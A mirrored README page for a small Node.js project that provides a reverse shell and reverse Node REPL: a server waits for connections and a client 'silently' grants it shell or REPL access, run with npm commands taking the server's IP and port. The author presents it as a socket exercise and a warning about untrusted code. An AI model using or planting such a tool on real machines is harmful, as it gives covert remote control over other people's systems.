Giter Club home page Giter Club logo

simplereverserepl's Introduction

Simple Reverse Node REPL and Reverse Shell

Author

  • Carlos Domínguez García

Questions and Answers

  • Why did you did this?

    I wanted to do something with sockets in node. Also this shows how easy is for an attacker to do something dangerous. Anyone can do it, we have to be very careful with untrusted code

  • Why specify the host and port as environment variables instead of as program arguments?

    Just because I think the code is cleaner this way, I didn't want unnecessary complexity

Usage

  • Server: run an interactively server, it waits for a connection and then allows the user to send commands to the client

        PORT='<Port where the server will listen to connections>' npm run server
  • Node REPL client: connects to the server and silently provides the server access to a Node REPL in the client machine

        # In the machine with the role of the client
        HOST='<Server IP>' PORT='<Server port>' npm run client:node
  • Shell client: connects to the server and silently provides the server execution of shell commands in the client machine

        # In the machine with the role of the client
        HOST='<Server IP>' PORT='<Server port>' npm run client:shell

Example (using the local machine as client and server)

  • First run the server with

        PORT='8080' npm run server
  • Then run the client on another terminal tab with

        HOST='localhost' PORT='8080' npm run client:node
  • Now go back to the terminal with the server process and you can interact with the client Node REPL.

        > process.arch
        'x64'
        > 2 + 3
        5
        > process.stdout.write('Hello') // Outputs "Hello" in the client process
        true
  • To stop the server you can send a kill signal with Ctrl+C

simplereverserepl's People

Contributors

carlosdg avatar

Forkers

ahmedsakrr

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.